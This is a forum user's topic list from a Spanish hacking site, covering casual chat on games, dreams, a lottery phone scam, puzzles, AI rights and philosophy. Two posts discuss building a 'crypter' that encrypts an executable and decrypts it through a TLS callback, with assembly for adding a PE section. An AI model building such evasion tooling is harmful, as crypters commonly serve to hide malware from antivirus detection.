Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Binary_Death

#1
Foro Libre / Super Hexagon
2 Marzo 2015, 23:47 PM
Recientemente he descubierto esta joyita de los videojuegos minimalistas. Creado por Terry Cavanagh, Super Hexagon consiste en controlar una flechita de manera que evite las barras de las líneas, triángulos, cuadrados, pentágonos, hexágonos y espirales hexagonales que se te aproximan, todo ello acompañado de un ritmo electrónico genial y muy hipnótico, incluso para alguien a quien no le va la música electrónica como a mí.

Aquí está el trailer del juego:

[youtube=640,360]https://www.youtube.com/watch?v=2sz0mI_6tLQ[/youtube]

Es muy difícil, seguramente cuando lo juegues por primera vez sólo sobrevivas apenas unos segundos, pero es lo normal. Tiene inicialmente tres modos de dificultad (hard, harder, hardest), en ninguno dice fácil. Cuando aguantas 60s en un nivel desbloqueas uno de los tres niveles de dificultad extra, más difíciles que el hardest.

Si alguien lo juega que comente por aquí sus resultados, y a los que no lo conocieran, se lo recomiendo encarecidamente. Valen mucho la pena los 3$ que hay que pagar, ya que tendrás diversión para rato y el juego vicia como pocos...

#2
Foro Libre / Sueños jodidamente raros
19 Febrero 2015, 01:27 AM
Hoy he tenido uno de esos sueños extrañísimos que raramente recuerdo al despertar. Fue tan extraño y en cierto modo perturbador que se me ocurrió la idea de abrir un post sobre sueños raros, que puede estar interesante  ;-)

Cuento el mío. Se trata probablemente de una pesadilla ya que me desperté sudando y las imágenes no eran precisamente agradables, pero no una pesadilla al uso, sino en tercera persona. Yo no formaba parte de la gente que estaba en el sueño siquiera, sólo era un espectador que veía lo ocurrido de alguna forma.
Estamos en el desierto y hay un ejército que está viajando a algún lugar bajo el sol abrasador. Los trajes que llevan me recuerdan a legionarios romanos o algo así, aunque creo que eran algo diferentes. No se sabe por qué, pero todo el mundo está totalmente aterrado ya que repentina y azarosamente las personas se van quedando ciegas una a una, y cuando lo hacen, no se sabe qué tipo de visiones llegan a tener pero se acaban quitando los ojos y matando de manera horrible (rompiéndose el cuello, clavándose las uñas en la garganta...). Creo que dicen algo de una sombra o sombras que los persiguen.

Entre toda la gente hay un hombre algo estricto que cumple a rajatabla sus órdenes cualesquiera que éstas fueran y con mucha fe sigue hacia delante, diciéndoles a los demás que si no lo hacen se quedarán ciegos. Él se ve muy convencido y seguro de lo que hace, y no deja de repetírselo a todo el mundo: si no hacen eso (que no sé lo que es), se quedarán ciegos y morirán.

El sueño termina cuando al final este hombre se acaba quedando también ciego mientras mira el sol, y con lágrimas en los ojos y un gran alarido, se rompe el cuello él mismo.


Joder, me he quedado a gusto. En serio, si esta ***** es original da para escribir un libro. En cuanto me desperté me puse a intentar recordar a ver de qué película o libro pudo mi cerebro haber sacado algo así, pero no se me ocurre. Lo máximo mínimamente relacionado podría ser el film "Even Horizon", pero es todo tan distinto que no sé xD ¿A alguien le suena esta historia? Es que como digo, me parece increíble que mi cerebro se la haya inventado durmiendo.

¿Alguien tiene uno de esos sueños extraños que comentar?  ;D
#3

Hoy hice un viaje de unos 1000km en coche de esos que haces con tu padre de vez en cuando  :xD Mientras charlábamos, salió el tema de que él al cambiar a marchas más largas empezaba a darle gas al coche más o menos a medio embrague, sin esperar a que se acople del todo la transmisión. Según él así es más suave y el coche no se te muere.

En mi opinión si cambias a las RPM ideales puedes soltar rápidamente el embrague sin tirones y darle gas de inmediato sin problemas, pero bueno, eso es cuestión de cada uno, el punto de conflicto viene en que creo que es probable que el desgaste del embrague a medio acoplar dándole gas sea mayor, aunque ni idea de hasta qué punto. Ni él ni yo somos entendidos en la materia, así que  :P

¿Alguien por aquí nos puede resolver la duda? Se agradece  ;)
#4
Foro Libre / Conexión viajando
3 Diciembre 2014, 04:29 AM
Qué tal gente. Os explico, en breve tengo pensado hacer un recorrido por toda Europa no tan turístico, es decir, fuera de las rutas y lugares típicos, con una mochila y poco más.

Imagino que en la mayoría de hostels en los que me hospede habrá red Wi-Fi gratuita, y también encontraré alguna red abierta de un bar, biblioteca o centro comercial, pero esto no es muy fiable y nunca se sabe cuándo voy a necesitar consultar un mapa online, reservar alojamiento o comunicarme con la familia y los amigos.

Estaré supongo que alrededor de un mes fuera. Estuve mirando algunas opciones, modems usb, tarifas de algunos operadores... Lo más razonable que encontré es con Vodafone, que tiene un contrato de 1gb/mes a 3€ por día, tampoco precisamente económico, pero al menos sabes que no te espera un susto cuando llegues.

¿Alguien con experiencia en el tema que me pueda aconsejar?
#5
Foro Libre / Mide tu tiempo de reacción
6 Noviembre 2014, 02:06 AM
El tiempo de reacción consiste en el delay entre que el cerebro recibe un estímulo y envía una señal nerviosa al cuerpo para responder a él. No debe ser confundido con los reflejos, ya que son cosas distintas: un reflejo es una reacción espontánea a un estímulo inesperado, mientras que el tiempo de reacción se mide para aquellos estímulos que generarán una reacción inteligente.

En su mayoría parece ser que el tiempo de reacción es genético, aunque como todo, también hasta cierto punto entrenable, y mientras que por ejemplo la mayoría de la gente tiene un tiempo de reacción auditivo cerca de 150ms, los corredores profesionales lo suelen tener más bien cerca de 100ms.

El tiempo de reacción visual está normalmente entre 200 y 300 ms.

Aquí dejo un pequeño test, compartid vuestros resultados  ;D

http://www.humanbenchmark.com/tests/reactiontime/

PD: También encontré esta página, que tal vez es mejor:
http://cognitivefun.net/test/1

Y para los que prefieran algo más jugabilístico: http://www.minijuegos.com/juego/madness-reaction-time

Se trata de esquivar una bala haciendo click en el momento del disparo. Cada nivel te exige un tiempo de reacción menor. Yo morí al que me exigía 0.22 :( (nivel 8 creo xD)

Yo estoy en los 248ms de media... parece que soy un poco lento!  :-[
#6
Foro Libre / ¿Te gusta tu nombre?
12 Octubre 2014, 04:27 AM
Tu nombre es algo que te presentará de cara a todas las demás personas para el resto de tu vida. Dependiendo de cómo sea tu personalidad, esto puede ser más o menos importante para ti, pero supongo que tendrás unos gustos estéticos y es posible que tu nombre te encante y no lo quieras cambiar por nada del mundo o te den ganas de abofetear a tus progenitores por ponerte semejante etiqueta.

Antes que nada, he de decir que no entiendo por qué tanta inflexibilidad en la legislación vigente a la hora de realizar un cambio de nombre. No es un buen sistema de identificación, no es unívoco, es sólo una cuestión estilística. Tu nombre no te identifica más que el color de tu coche, sin embargo si que te representa más que cualquier otra cosa. Si es por identificación única, ya existen los documentos DNI/NIF.

En fin... tema aparte son los apellidos, cosa aun si cabe más ridícula, pero por suerte se usan menos.

Bueno, esto viene a cuento de que efectivamente no estoy conforme con mi nombre. No sería exacto decir que lo deteste, es simplemente que tampoco me gusta y más importante, no me identifico con él, no lo siento como mío, y eso que lo tuve durante toda mi vida xD.

En fin, ¿a alguien le apetece aportar su opinión sobre el tema?
#7
Foro Libre / Ing. Informática vs Física
21 Junio 2014, 01:53 AM
Buenas a todos, ¡tiempo que no escribía por aquí!

Resulta que ya justo hoy tuve los resultados de las PAU, la selectividad o como quieras llamarlo, que, para los que sean de otros países, son unas pruebas muy estúpidas (las pasa todo el mundo) que se hacen en España y según la nota que obtengas puedes optar a una carrera o a otra. Una ***** como un piano, vamos.

Bueno, mirando un poco las opciones que me ofrece mi universidad -la única por cierto a la que podría ir cómodamente, sin desplazarme 200 km cada día- he visto que hay sólo dos carreras que me interesen, y son Física e Ingeniería Informática...

Hasta hace un par de años tenía bastante claro que elegiría Ing Informática, que era lo que me gustaba más y aquello en lo que siempre estuve interesado, desde muy pequeño. Pero en estos años la física cada vez me fue gustando más y más, hasta el punto en que tal vez mi pasión por ella haya superado al gusto que tengo por la informática, aunque no con creces, ni mucho menos...

Soy consciente de que la perspectivas laborales en el mundo de la informática son mucho más amplias que si me meto en la física, casi relegada al mundo de la investigación y la enseñanza, con excepciones bastante curiosas de licenciados en física que acaban trabajando en otras ramas, como por ejemplo ocupando cargos que le corresponderían a un matemático o a un informático.
Por otro lado, estoy seguro de que disfrutaría muchísimo en la carrera de física, ya que está plagada de temas que me apasionan de verdad.

Me gustaría que me dierais algún consejo, alguien que haya estudiado alguna de las dos carreras, a ver si me echa un cable para decidir cómo vivir el próximo lustro de mi vida en base a su propia experiencia.

¡Gracias!

PD: Ya he leído este post http://foro.elhacker.net/foro_libre/iquesthago_una_ingenieria_o_no-t416517.0.html

Me ayudó mucho, aunque mi problema es un poco diferente.
#8
Foro Libre / Euroloto24, cuidado que te timan
22 Abril 2014, 18:40 PM
Hace unas 2 horas he recibido una llamada de una teleoperadora que me ofrecía una oferta de lotería si acertaba no sé qué lema.

Por casualidad lo acerté, o tal vez considerarían válida cualquier respuesta. La cuestión es que luego me dijeron que tenía acceso a 800 boletos de lotería por un precio real de 1600€, pero que a mí sólo me cobrarían 59,90€. Se jugaba durante cada viernes del mes de junio y si por muy mala suerte no te tocaba un premio, te devolvían el dinero íntegro.

Me insistieron en que me llegaría un contrato a casa en el que se me explicaría todo, que yo tendría que rellenar, firmar y devolver para indicar mi conformidad.
Les di un número de móvil y la dirección, porque me pareció que al fin y al cabo, no tenía nada que perder.

El problema ya es cuando me pidieron un número de cuenta bancaria o tarjeta. Por supuesto no iba a dárselo a cualquiera me llamara, y le dije la verdad, que no se lo  podía dar y que lamentaba haberle hecho perder el tiempo, ya que pensaba que todos esos datos habría que confirmarlos una vez recibido el contrato.

Insistió muchísimo, de manera que al final riendo le dije que bueno, le diera la gran fortuna a otro ya que al fin y al cabo el más interesado debería de ser yo, y no ellos.

Bueno, lo que siguió a continuación me dejo casi temblando, con la sensación de que había entrado en una especie de mafia o algo. Súbitamente pasó de ser la operadora amable de antes para convertirse en toda una maleducada, que me cuestionó qué estaba haciendo, si era un imbécil por dejar pasar esa oportunidad y que no lo entendía. Lo jodido es que siguió así por media hora. Un minuto más y le colgaba, aunque al final me colgó ella dejándome con la palabra en la boca.

Acto seguido les envié un e-mail diciéndoles que borraran cualquier dato mío que todavía tuvieran, y les dije que lo que hacían era perfectamente denunciable y atentaba contra la legislación vigente en España, ya que podría ser considerado como acoso telefónico (y es que para empezar, ninguna empresa privada tiene el derecho de llamarte sin tu consentimiento, y ya ni digamos pedirte datos y tratarte mal si te niegas a dárselos).

Bueno, lo siguiente fue googlear a ver de qué se trataba esto, y si había más afectados. Efectivamente, tardé poco en dar con blogs como este: http://jservera.com/index.php/es-ES/inicio/criminologia/533-euroloto-24-y-sus-practicaspoco-eticas#sthash.35cqN9Rt.VEjTMaaN.dpbs

Vamos, que es una estafa en toda regla.

Ahora mismo, a pesar de no haber facilitado ningún dato bancario, estoy ligeramente preocupado, ya que tienen mi dirección y número de móvil, que como un idiota les di. ¿Vosotros que crees? ¿Alguien de aquí recibió esta llamada?
#9
Foro Libre / Reto matemático
22 Marzo 2014, 01:00 AM
Se me ocurrió un pequeño reto en forma de serie. Puede llegar a tener su complicación.

Aquí lo dejo:

0 - 0 - 1 - 0 - 1 - 2 - 0 - 2 - 3 - 3 - 0 - 4 - 2 - 0 - 5 - 1 - 2 - 6 - 6 - 0 - 7


Hay que encontrar y explicar el patrón de esta serie de números enteros (y hago hincapié en esto último).

Vamos a ver qué se os ocurre  ;D
#10
Foro Libre / Dilema sobre la inteligencia artificial
24 Noviembre 2013, 03:00 AM
Este es uno de los temas con los que menos pude compatibilizar con la gente, por encima incluso de otros temas polémicos como religión o política.

Pongamos que, en un futuro, la inteligencia artificial (IA) avanza de una manera desorbitada. Da igual que el futuro sea próximo o lejano, y da igual también la forma en que esta inteligencia se manifieste, la cuestión es que vamos a situarnos en ese supuesto.

Se ha llegado a comprender la totalidad del cerebro humano, todo su funcionamiento o, al menos, cómo funciona (que es distinto de realmente entenderlo). La tecnología también avanzó de forma impresionante, alcanzando unos grados de miniaturización y complejidad inimaginables.

Dado que este hipotético caso no parece ser algo fuera de nuestro alcance, por lo menos no dentro de un período lo suficientemente largo de tiempo, tampoco es complicado imaginar que llegados a este punto se pudieran crear seres con la misma inteligencia que un ser humano, e incluso imitar los procesos que dan lugar a cosas como las emociones.

Sí, sin duda este tema ha sido tratado mil veces en literatura y cine, pero pongámonos a pensar...

Nosotros no somos más que una máquina. De hecho, lo que yo llamo "yo" no es más que el producto de unos procesos cognitivos que la propia máquina que los lleva a cabo (la mente) le atribuye, como mecanismo de concreción, a un sujeto. A ese sujeto yo lo identifico como "yo". Esos procesos cognitivos originan percepción, y es esa percepción la que origina el yo. Pueden leer al filósofo David Hume,   que trata largo y tendido sobre estos temas. Lo recomiendo encarecidamente.

Somos una máquina, o mejor dicho, somos seres mecánicos. Una máquina no, porque se presupone que una máquina es artificial, pero bueno, funcionamos con procedimientos mecánicos y de acuerdo a las leyes de la física. Somos muy complejos, eso es indudable. De hecho, incluso una bacteria es complejísima, y para predecir su comportamiento se precisaría un ordenador tan grande como nuestra galaxia, al nivel de miniaturización actual. Un ser humano ya ni digamos.

Pero a fin de cuentas, y siento repetirme tanto, somos seres que actuamos en base a procesos mecánicos. Algo que, conociendo lo suficiente, se puede imitar.

Y ahora el tema polémico. Si creamos seres que tengan la misma capacidad intelectual (¡o mayor!) que un ser humano, y los dotamos de lo que nosotros llamamos "emociones" (que no es más que otro mecanismo de supervivencia, ya que somos seres sociales y necesitamos de empatía), ¿qué derechos tendrían exactamente esos seres? ¿Serían seres vivos? ¿Serían humanos? ¿Seguirían siendo máquinas utilizables y sin más derechos que una cafetera?


Bueno claro, como siempre la religión tiene una respuesta (banal, claro) para todo: no serían humanos o seres vivos porque Dios no los ha creado; no tienen alma.

Pero como quiero seriedad, el argumento no sirve. Sí, no te preguntes por qué, no te molestes.

Alguna gente dice que eso nunca será posible, que nos extinguiremos antes de lograr algo así. Me da igual. La cuestión es si existe esa posibilidad, no si algún día llegará a suceder o no.

Un ser ¿humano? creado por otro ser humano... de hecho eso ya lo hacemos. El debate sería el mismo de hecho que preguntar si un embrión es un humano, ¿no? ¡NO! Porque el embrión definitivamente es un potencial ser con características humanas, pero no es "en acto" un ser humano. Estamos hablando de seres con características similares a las tuyas o las mías... El debate es aún peor.

¿Podrían ser integrados en la sociedad? ¿Habría que tratarlos como iguales? ¿Qué relación podría haber entre un humano creado de forma natural por un humano, y otro creado de forma artificial? ¿Realmente importa la forma (natural, artificial) en que haya sido creado?

PD: No dije nada, pero se supone que es indiferente que el ser sea orgánico o no. Es decir, ¿realmente importa que esté hecho basado en la química del carbono o con chips de silicio? Si efectúa los mismos procesos con el mismo resultado, a no ser que me digas que las cadenas hidrocarbonadas son cosas divinas, no debería de haber ninguna diferencia...

Va, ¡ataquen!

EDIT: Lean esto, no tiene desperdicio: http://www.nodo50.org/arevolucionaria/masarticulos/noviembre2005/vidaartificial.htm

Voy poniendo más material, cuando encuentre algo interesante lo postearé aquí:

http://www.terceracultura.net/tc/?p=825
http://www.lostiempos.com/diario/actualidad/vida-y-futuro/20100728/el-primer-robot-con-conciencia-propia-es-espanol-y-se-llama-aisoy_82525_156744.html
http://bitscloud.com/2009/05/robots-con-conciencia%C2%BFventaja-o-amenaza/
http://www.cronica.com.mx/notas/2013/732906.html
#11
Es una de esas preguntas que a uno se le pasan por la cabeza, especialmente cuando ves la muerte muy de cerca. Últimamente tuve una experiencia con un familiar. Era una muerte ya anunciada. Esa persona tuvo tiempo para plantearse muchas cosas.

El tema de la vida y la muerte es un absurdo gracioso. Es cierto que vivir cada día, hacer cosas, aprender otras tantas, y luego... nada, desaparecer, puede parecer a simple vista que no tiene ningún sentido. Por otro lado, tampoco nada tendría sentido si la existencia fuera eterna. ¿Para qué tomar una decisión que puede esperar toda la eternidad? ¿Para qué hacer algo que harás forzosamente infinitas veces?

Entonces, la muerte le quita el sentido a la vida y a su vez sin muerte la vida no tiene sentido. Paradójico, ¿no?

Por eso, me gustaría invitaros a reflexionar sobre vosotros mismos. ¿Tú vives para escapar de la muerte, o deseas la muerte para haber vivido?

#12
Foro Libre / El manuscrito Voynich
10 Octubre 2013, 23:59 PM


¿Os suena el manuscrito Voynich? Se considera como uno de los grandes misterios de este mundo. Se trata de un libro ilustrado escrito en un lenguaje totalmente desconocido y que durante siglos ha evadido todos los análisis criptográficos y lingüísticos que le fueron aplicados.

El texto parece ser una especie de tratado dividido en varias secciones, a saber: herbología, astronomía, biología, cosmología, farmacología y recetario. El único problema es que describe plantas que no existen en este mundo y otras cosas bastante extrañas cuyo significado concreto se desconoce.

Muchos criptógrafos y lingüistas dedicaron sus vidas a estudiar este manuscrito, sin ningún resultado. La frustración ha llevado a algunos a decir que era un galimatías que simplemente no tenía ningún sentido; es una broma de mal gusto de algún rico medieval excéntrico o de algún estafador que esperaba venderlo a buen precio.

Claro que, por otro lado, se sabe por datación de carbono 14 que los pigmentos y el papel son del siglo XV, y son de muy buena calidad. Es decir, que lo hiciera quien lo hiciera, tuvo que ser alguien importante y con ganas de dejarse una buena fortuna, ya que en esa época esos materiales no eran precisamente baratos.

Otra cosa curiosa es que cumple la ley de Zipf, que dice que la longitud de las palabras es inversamente proporcional a su frecuencia de aparición. Esto es, cuando más larga sea una palabra en un idioma, menos común será y menos aparecerá (y cuando lo haga, tendrá un significado mucho más concreto).

Esta ley es propia de las lenguas naturales, de manera que lenguas como el Esperanto o el Quenya de Tolkien no la cumplen, y por si fuera poco, en el siglo XV no se conocía dicha ley.

Otro punto a favor de su significado es que se detectan ciertas palabras clave cuya aparición está concentrada en ciertas zonas del documento. Así, las palabras clave de la sección de herbología son distintas a las de la sección de astronomía.


Y para terminar, el dato más fascinante en mi opinión, y que seguro despertará mucho más la curiosidad de algunos: no hay un sólo error de escritura o corrección en todo el texto. Siendo algo escrito a mano, de increíble extensión y complejidad tanto estructural como artística, el que lo escribió no se equivocó ni una sola vez.

Más información, como de costumbre, en nuestra amada Wikipedia: http://es.wikipedia.org/wiki/Manuscrito_Voynich
#13
Bueno... estoy haciendo un crypter, como dije en mi anterior post, e intento añadir una sección al ejecutable para añadir una rutina que añadiré como una TLS Callback function.

Al crear una nueva sección, hago que apunte al final del ejecutable indicado por el PointerToRawData+SizeOfRawData de la última sección, ese será el valor del PointerToRawData de mi nueva sección. Claro que, ahí puede haber un EOF Data, así que miramos si lo hay y si lo hay lo copiamos tantos bytes más abajo como indique el SizeOfRawData de mi nueva sección. ¿Hasta aquí va bien?

De acuerdo, pues aquí dejo un fragmento de código en ensamblador que hace lo dicho:


mov      esi, [ebx].PointerToRawData
              add      esi, [ebx].SizeOfRawData
              mov      [eax].PointerToRawData, esi
             
   
              .IF      dwFileSize > esi
                   push    eax
                   mov     ecx, dwFileSize
                   sub     ecx, esi
                   mov     dwEOFDataSize,ecx
                   add     esi,lpMappedView
                   mov     lpEOFData,esi
                   
                   invoke  GlobalAlloc,GPTR,dwEOFDataSize
                   mov     lpEOFBuffer, eax
                   invoke  RtlMoveMemory,eax,lpEOFData,dwEOFDataSize
                   pop     eax
                   push    eax
                   mov     ecx,[eax].SizeOfRawData
                   add     dword ptr[lpEOFData],ecx
                   invoke  RtlMoveMemory,lpEOFData,lpEOFBuffer,dwEOFDataSize
                   pop     eax    
              .ENDIF



EAX y EBX son punteros a estructuras IMAGE_SECTION_HEADER

EAX apunta a la estructura de la nueva sección, la sección que estamos creando.
EBX apunta a la estructura de la anterior sección, lo que por el momento es la última, la que tiene un PointerToRawOffset mayor.

Por lo demás, el dwFileSize es el tamaño total del fichero obtenido con GetFileSize() y lpMappedFile es la dirección de inicio de la vista del fichero de mapeo.

EDIT:

Solucionado. Da una rabia estarte horas por tonterías...


#14
Con el objetivo de hacer un crypter, se puede añadir una sección (o extender la última) en el PE para hacer espacio para una función TLS Callback que desencripte el ejecutable.

El problema claro, el loader de windows, que te carga las API importadas en la IAT, y la función de desencriptación se la carga. Pero si la función para cifrar y para descifrar coinciden, he pensado que localizando la IAT y pasándola por la rutina de nuevo volvería a quedar limpia y correría bien.

En fin, lo que me gustaría saber es si pensáis que es factible hacer esto, ya que estaba pensando programarlo en serio y me gustaría oir opiniones.

Gracias  :P
#15
No sabía muy bien dónde postear esto, pero como estoy trabajando con C pues con C va.

Necesito aprender a usar esta API, y realmente no me aclaro con la información de la MSDN. ¿Alguien sería tan amable de explicármela?

Hay poquísima información, por lo menos no encontré nada ni siquiera en inglés y ya ni se diga en español.
#16
Foro Libre / ¿Cómo lo hace? Parece imposible
30 Julio 2013, 06:27 AM
Ya se sabe que aquí todos somos muy listos  ;D

A ver quién pilla el truco de este juego de magia del maestro Arturo de Ascanio:

[youtube=640,360]http://www.youtube.com/watch?v=VHVy-2QbisE[/youtube]
#17
Foro Libre / Recomienda un anime
17 Julio 2013, 18:11 PM
Hoy me siento un poco friki y me dio por crear este post.
Vamos a recomendar un anime (o más!) que nos guste y a decir por qué lo recomendamos.
También creo que podríamos prescindir de los clásicos... es decir, para qué recomendar Dragon Ball...

En fin, empezaré con uno algo especial.



¿Lo recomiendo? Supongo que sí, pero hay que tener bien presente que se trata de un mindfucker y no de un anime que ves para entretenerte un rato. Es muy corto, sólo 13 capítulos, y a algunos les puede parecer la mayor ***** que han visto en su vida y a otros les puede gustar y hacer reflexionar un poco.
Hay que tener en cuenta la época de creación de esta serie. Se hizo cuando internet era algo muy nuevo o más bien, muy poco extendido entre el común de la gente. Salvo la gente especializada en el sector, se pensaba que la red era algo así como matrix, nadie sabía bien de qué iba, y de la ignorancia siempre surgen relatos llenos de imaginación (+10 puntos para quien pille la referencia  :rolleyes:).

Este es el argumento según wikipedia:

Citar
El primer estremecimiento en la solitaria vida de Lain Iwakura ocurre cuando se entera de que los estudiantes de su escuela han recibido extraños correos electrónicos póstumos de Chisa Yomoda, una compañera de clase que se suicidó. Lain recibe un mensaje en su casa, en el que Chisa le dice que no se trata de una broma y que se encuentra con Dios. A partir de entonces, Lain inicia un camino que la llevará a adentrarse cada vez más en la red -o Wired, similar al internet actual- y en sus propios pensamientos. Después de ello, trata de descubrir más acerca del tema, pidiéndole a su padre un nuevo Navi y así intentar comunicarse nuevamente con Chisa.
Poco a poco, la vida de Lain comienza a girar sólo a través de la Red, por lo que su única amiga Arisu (Alice, en inglés) comienza a preocuparse, incitándola a que comience a salir con ella y sus amigas. Así, conoce la existencia de un misterioso Psycho chip, que tiempo después le permite entrar al Wired de forma libre, y que gradualmente la convierte en un ser omnipotente dentro de la Red, como una especie de dios. Conforme Lain va descubriendo más al respecto, nota que unos extraños hombres de negro comienzan a vigilar su casa, al igual que los Knights (especies de hackers dentro del Wired).
Gradualmente, Lain se hace famosa dentro de la Red, ganando un gran prestigio, con lo que también incrementa su poder, y, en consecuencia, pierde el interés por vivir en el mundo real. A medida que descubre nuevas cosas, sus amigas comienzan a recibir rumores acerca de su otra personalidad (su otro yo del Internet, que es completamente distinto), creándose confusión. Finalmente, descubre que ha dejado de reconocer a su verdadera personalidad, y comienza a preguntarse "¿quién es Lain?".
#18
Sin misticismos, por supuesto.
Otro de los temas filosóficos asquerosos que seguramente ya os deben cansar. Pero qué queréis, a mí me encantan  ;D

Por favor, antes de responder agradecería la lectura de este texto. Sé que puede ser largo, pero el tema es complejo y si estás dispuesto a reflexionar sobre él creo que no te costará ni lo más mínimo leerlo.

Una vez por aquí hice un tema en el que, entre otras cosas, hablaba de la paradoja de la muerte de tu clon. Resumiendo, era que si existiese una máquina capaz de hacer un clon tuyo perfecto, copiando incluso los recuerdos, y al acto de hacerlo te mataran a ti, ¿se podría decir que tú has muerto o que sigues viviendo?

Bueno, las respuestas a esto fueron múltiples, pero a dónde yo quería llegar es que nuestro cerebro es el que define los límites de nuestra conciencia. Tú y yo nos sentimos dentro de un cuerpo, y limitados por nuestra mente. Nos sentimos dentro de nuestra propia mente, y ésta está encerrada en sí misma.
Esto lo cierto es que no es más que otra de nuestras características evolutivas que permiten nuestra normal supervivencia, y el resto de animales más o menos complejos también parecen tener algo similar. Se ha de comprender que sin el ego, el yo interior, no podríamos llevar una vida normal.

Pero todo esto no es más que una de las muchas percepciones de nuestro mundo que nosotros interpretamos a nuestra manera. La conciencia y la identificación del yo no es más que un truco, un juego de nuestra mente, y de hecho se puede llegar a perder por trastornos mentales o el uso de sustancias psicotrópicas.

Percibimos nuestro yo, y pensamos con lógica que todo el mundo así lo hace. Pensamos que vivimos en un mundo con muchas entidades individuales, y una vez una de éstas entidades muere, muere. Hay algo que nos impide pensar que cuando muramos nuestro yo se pueda identificar con el yo de, por ejemplo, un amigo. Es decir, en otras palabras, que sentimos como imposible que al morir podamos seguir viviendo en lugar de otra persona (ni siquiera si ésta se trata de nuestro clon).

Salir fuera del propio yo es imposible, tanto como imaginar un estado de no existencia (es decir, la muerte, la no existencia y el no estado). No obstante creo que se puede entender el concepto de que el hecho de que todos sintamos el propio yo hace a todas las conciencias individuales de la tierra la misma. Así, tú en este momento estás viviendo por todas las personas de la tierra, y cuando tú mueras, todas las personas de la tierra morirán. De hecho, cuando tú mueras, todo el universo desaparecerá. Todo existe para ti y únicamente para ti, y tú eres todo. Lo real sólo es real porque tú te sientes real.

Este planteamiento me llevar a pensar en un flujo de entidades que vienen y van, como partes de una conciencia conjunta. Cuando una de estas entidades desaparece, otra la sustituye, pero como todas las entidades en realidad son la misma entidad, se puede decir que la entidad simplemente vuelve a existir.

Vamos, que se llega a la reencarnación pero sin almas ni paridas, sólo intentando entender un poco cómo funciona nuestra mente.

En fin, ¿qué creéis de todo esto?
#19
En fin, esto es de hecho un pequeño texto que hice para la asignatura de filosofía. Me parece un tema interesante y querría postearlo para que me deis vuestra opinión y discutir un rato del tema tratado  :P

Para poneros un poco en situación, el tema es el deber (obviedad) que en el texto se relaciona con libertad, de la cual no se tiene certeza porque nuestro mundo parece determinista.

Citar
Deber es poder

Y poder es libertad...

            Rasgo distintivo, la razón                     

Nosotros, los seres humanos, somos distintos a todas las otras especies animales de este planeta. Ciertas características sólo las poseemos nosotros. Somos capaces de crear, imaginar, entender, descubrir... tenemos constancia del paso del tiempo y somos los únicos que sabemos que vamos a morir y por tanto que nuestro tiempo aquí es limitado.

Estas características son consecuencia de aquello que nos hace ser especiales: la razón humana. En efecto, unos más que otros, podemos razonar. De ahí se derivan todas nuestras otras capacidades distintivas, y hay dos de ellas en las que me gustaría hacer hincapié: la voluntad y el deber.

            ¿Es voluntad el deber?                     

Los animales no desean más allá de lo que sus instintos les dicen que es necesario para su supervivencia. En cuanto a nosotros, podemos hablar de voluntad de obtener algo o de alcanzar un fin. El aspecto volitivo del fin lo convierte automáticamente en un medio, un eslabón de una cadena causal. Es decir, algo se desea para alcanzar un segundo algo, que a su vez de desea para alcanzar un tercer algo... y al final se encuentra la satisfacción, difícilmente en su totalidad alcanzable en una vida finita.

El deber y la voluntad pueden estar estrechamente unidos. Deber es voluntad de no obedecer la voluntad. Para mí el deber sólo existe si se opone a la voluntad, que sigue una cadena causal y por tanto es racional. El deber rompe la cadena, es irracional y es una manifestación de nuestra libertad.

Si voluntad y deber no coinciden, voluntad es voluntad de no obedecer el deber. Si voluntad y deber coinciden, deber es voluntad de obedecer la voluntad, o sea, voluntad.

            La particularidad del deber                     

La existencia del deber es también única de los seres humanos. Si aceptamos que irracional es todo aquello que no encaja en una cadena causal, rompiéndola, y además que todas nuestras características distintivas proceden de la razón, entonces con asombro vemos que algo irracional nació de algo tan racional como es la propia razón. Sin duda esto no es único del deber, ya que al fin y al cabo los mitos que todas las sociedades de la historia han creado también proceden de la creatividad humana, procedente también de nuestra capacidad de razonar, y en sí mismos son irracionales; no obstante, el deber sí que es único en la medida que no nació para darle explicación a algo o ser de alguna ayuda de hecho no nació, simplemente está ahí, como característica intrínseca al ser humano y que tal vez nos dé la esperanza de que en realidad sí que somos libres.


Y vamos con otro, justicia, que es algo así como deber colectivo.

Citar
Modelando la idea de justicia en la mente

         Justicia como proporción de la proporción               

La justicia no es igualdad, sino desigualdad. Sólo lo sería en el hipotético idealizado de una sociedad en la que lo justo fuera la igualdad debido a la igualdad de sus partes.

Siguiendo el modelo aristotélico, podríamos decir que la justicia es proporción, pero quisiera añadir que es proporción en función de la capacidad real de cada individuo para desempeñar una acción que previamente se acordó que tenía cierta beneficencia objetiva positiva o negativa (perjudicial), y este acuerdo se debe hacer siguiendo el modelo de Rawls.

Pongamos ejemplos extremos, que son bastante ilustrativos.

            Proporción primera: acción                  

En una sociedad se acordó que el asesinato es una acción de beneficencia negativa, es decir, perjudicial (por una u otra razón, pero hubo ese acuerdo). Para un asesino, alguien que asesinó a una víctima, es justo que sea asesinado (lo cual no significa que deba ser asesinado, esa es otra acción a acordar entre la sociedad). Para la víctima, si no asesinó, es injusto que sea asesinada.

Podemos ver esto así: algo injusto se convierte en algo justo para aquel que realizó ese algo injusto.
En resumen, cada uno ha de tener lo que se merece.

            Proporción segunda: capacidad de acción            

Pero frenemos, que nos olvidamos de algo importante que se ha dicho al inicio, y es que esto ha de ser en función de la capacidad del individuo, y esto no es trivial. Si el asesino se trata de alguien que posee una enfermedad mental y no puede evitar matar, ¿es justo que mate? No lo es porque es injusto para la víctima, ¿pero y si la víctima no puede evitar no matar (alguien en estado vegetativo, por ejempo)?  Como vemos no sólo está la proporción entre las acciones, sino la proporción entre las capacidades, quedando una situación bastante irresoluble cuando una  inevitabilidad positiva (no poder evitar hacerlo) se enfrenta a una inevitabilidad negativa (no poder evitar no hacerlo), y ahí sí que se da una situación en la que únicamente la justicia depende de las acciones para las que hubo el previo acuerdo.

               Conclusión                        

Con esto se pretende mostrar un modelo intermedio entre la concepción clásica y moderna de la justicia, ya que siempre es bueno mirar atrás y ver lo que nos hemos dejado por el camino.

#20
Foro Libre / A ver si solucionáis esto...
11 Junio 2013, 01:56 AM
Son los típicos puzzles de encajar una pieza frecuentes en tests de inteligencia, pero este es bastante más complicado de lo habitual.
Me llevó un buen rato encontrar la solución. A ver si alguien aquí lo ve a los 5 segundos y me hace sentir tonto  ;D




Ale, aquí os lo dejo. A ver quién es el primero que da una solución argumentada.
#21
